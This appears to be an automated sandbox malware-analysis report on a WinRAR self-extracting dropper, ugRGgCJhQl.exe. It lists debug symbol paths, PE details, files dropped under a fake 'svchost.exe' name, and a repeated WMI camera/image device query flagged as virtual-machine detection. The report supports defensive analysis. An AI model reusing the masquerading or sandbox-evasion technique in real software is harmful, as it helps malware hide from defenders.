                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000044FA000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000539C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006A94000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006628000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004A9C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004A9C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: ugRGgCJhQl.exe
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006876000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004BFC000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: zC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000052B6000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: {C:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004BFC000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: kC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004CB9000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006455000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004A9C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006455000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: lC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004877000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: |C:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000052B6000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006876000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000044FA000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006628000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000539C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000539C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004A9C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000044FA000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004BFC000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006455000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: jC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004877000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006628000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: oC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004CB9000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006876000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006A94000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: ugRGgCJhQl.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                              Source: ugRGgCJhQl.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                              Source: ugRGgCJhQl.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                              Source: ugRGgCJhQl.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                              Source: ugRGgCJhQl.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeFile created: C:\comref\__tmp_rar_sfx_access_check_4774343Jump to behavior
                              Source: ugRGgCJhQl.exeStatic PE information: section name: .didat
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FF640 push ecx; ret 0_2_002FF653
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FEB78 push eax; ret 0_2_002FEB96
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB785427 push ebx; ret 14_2_00007FFAAB785434
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB94767C push ds; ret 14_2_00007FFAAB94769A
                              Source: C:\comref\svchost.exeCode function: 14_2_00007FFAAB947E28 push ebx; ret 14_2_00007FFAAB947E3A
                              Source: svchost.exe.0.drStatic PE information: section name: .text entropy: 7.557579213001608

                              Persistence and Installation Behavior

                              barindex
                              Drops PE files with benign system names
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeFile created: C:\comref\svchost.exeJump to dropped file
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\LMrHnriI.logJump to dropped file
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeFile created: C:\comref\svchost.exeJump to dropped file
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\ThQetCXk.logJump to dropped file
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\ApTjSBhc.logJump to dropped file
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\eVuUdNSS.logJump to dropped file
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\jIMTFKhG.logJump to dropped file
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\LMrHnriI.logJump to dropped file
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\eVuUdNSS.logJump to dropped file
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\ThQetCXk.logJump to dropped file
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\jIMTFKhG.logJump to dropped file
                              Source: C:\comref\svchost.exeFile created: C:\Users\user\Desktop\ApTjSBhc.logJump to dropped file
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\comref\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                              Malware Analysis System Evasion

                              barindex
                              Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
